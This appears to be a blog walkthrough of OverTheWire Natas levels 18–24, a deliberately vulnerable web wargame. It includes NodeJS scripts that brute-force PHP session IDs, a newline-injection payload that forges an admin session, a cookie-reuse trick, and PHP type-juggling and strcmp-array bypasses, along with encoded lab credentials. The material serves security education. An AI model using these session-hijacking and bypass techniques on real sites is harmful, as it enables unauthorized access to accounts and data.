overthewire / natas

Level 18

In this level we’re given access to the source behind index.php. I originally thought there might be something in the way user inputs were compared but no luck. 2 things caught my attention - the first being a comment on the maximum number of sessions: $maxid = 640; // 640 should be enough for everyone , followed by the snippet below:

    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true; 

Which seems to indicate some sessions would already have the admin flag set - so why not iterate through all 640 of them and see if the flag is set correctly somewhere?

I fired up Burp Intruder but given I only have the community edition, which throttles requests, it turned out to be faster to write the NodeJS snippet below:

const got = require('got');

const sessionIds = [...Array(641).keys()]; // there are 640
sessionIds.forEach( (sessionId) => {
  got.get('http://natas18.natas.labs.overthewire.org/index.php?debug', {                                             headers: {                                                                                                         'Authorization': 'Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==',
      'Cookie': `PHPSESSID=${sessionId}`}}).then(resp =>
      {
        if (resp.body.includes('You are an admin')) {
          console.log(`sessionId: ${sessionId} + ${resp.body}`);
        }
      });                                                                                                        });

And soon enough:

sessionId: 119 + <html>
<head>
...
<div id="content">
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br>
...

Level 19

We’re told the code for this level is similar to the previous one, but that the format of session ID (PHPSESSID) differs.

Using Burp’s sequencer I gathered close to 10,000 tokens. A quick run through sort | uniq led to a list of 640 unique tokens. I ran through those fairly quickly with the below:

const got = require('got');
const fs = require('fs');

const sessionIds = fs.readFileSync('natas19.tokens.uniq','utf8').split('\r\n'); // there are 640
sessionIds.forEach( (sessionId) => {
  got.get('http://natas19.natas.labs.overthewire.org/index.php?debug', {
    headers: {
      'Authorization': 'Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==',
      'Cookie': `PHPSESSID=${sessionId}`}}).then(resp =>
      {
        if (sessionId && !resp.body.includes('regular user')) {                                                                   console.log(`sessionId: ${sessionId} + ${resp.body}`);
        }                                                                                                                     });
});

But none of them worked - something wasn’t right. From looking at the tokens, it was clear there was a part that was static: 2d616263. This turned out to be hex for -abc, abc being the username I originally tried to log in with!

Essentially I could re-use the code for natas18, but would need to append -admin to each session id and convert it to hex instead. A few tries later, we’re in!

For the record the session was derived as: const s = Buffer.from(${sessionId}-admin).toString('hex');

Level 20

This one is a little different from the previous 2 given the session ID seems pretty random. A quick look at the code however reveals a red flag. The mywrite function:

    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    } 

And myread:

   foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 

Whatever we pass in as the username will be written to file and read back as key/value pairs in the $_SESSION object. So if we could add admin 1 as an entry, we’d be home free. In other words, we need to add a new line to get the mywrite function to essentially write 2 entries.

Modifying the request to foo%0Aadmin%201 (with \n and (space) URL-encoded) does just that - though note I had to modify the request directly in Burp vs through the textbox for this to work.

Level 21

We’re presented with a page that states it is co-located with natas21-experimenter. The code on the main page indicates we’re back to figuring out how to stuff admin=1 in $_SESSION - but there’s nothing on this page that would allow us to change that.

The other page however (natas21-experimenter) allows user input - lots of it. Looking at the code, the following snippet jumps out:

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
} 

We’re free to add new parameters to $_REQUEST when submitting changes and those will be set in $_SESSION - yay!. Adding &admin=1 to the POST parameters does the trick. However, this isn’t the site we need those on.

Instead we grab the referer header along with the cookies and pass those back to the original site:

Referer: http://natas21-experimenter.natas.labs.overthewire.org/index.php
Cookie: __cfduid=dc5dfb9ecd6e2ed04913757fe15630eb81548476605; PHPSESSID=d0vhsull9qme8gi98ic81etna5

This tricks it into re-using the session we created for natas21-experimeter - which contains admin=1. Done!

Level 22

The source tells us the credentials for natas23 will only be displayed if if(array_key_exists("revelio", $_GET)) - but the snippet at the top strips all our parameters (the header function is essentially a redirect).:

if(array_key_exists("revelio", $_GET)) {
        // only admins can reveal the password
        if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
                header("Location: /");
        }
}

If we were to view this in say Firefox, the browser would automatically follow the redirect to /. But with curl, which doesn’t follow redirects by default, it’s easy: curl -v --user natas22:<password_for_natas22> http://natas22.natas.labs.overthewire.org/?revelio -o - | grep Password

Level 23

The snippet of interest is as below:

if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
                echo "<br>The credentials for the next level are:<br>";
                echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
                echo "<br>Wrong!<br>";
        }
}

strstr returns the first occurrence matching the string. The part that’s interesting however is the numeric comparison $_REQUEST["passwd"] > 10. This being PHP, the way it ‘converts’ a string to a digit is by stripping all characers apart from numeric ones. So if passwd=20plussomerandomtext, in a string context this would be 20. Funky heh?

Level 24

This level highlights some more PHP oddities:

f(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){

strcmp is known to behave oddly when the first argument is an array (see the official documentation, in the comments section). Try if for yourself here! Passing in ?passwd[]=foo as an argument does the trick.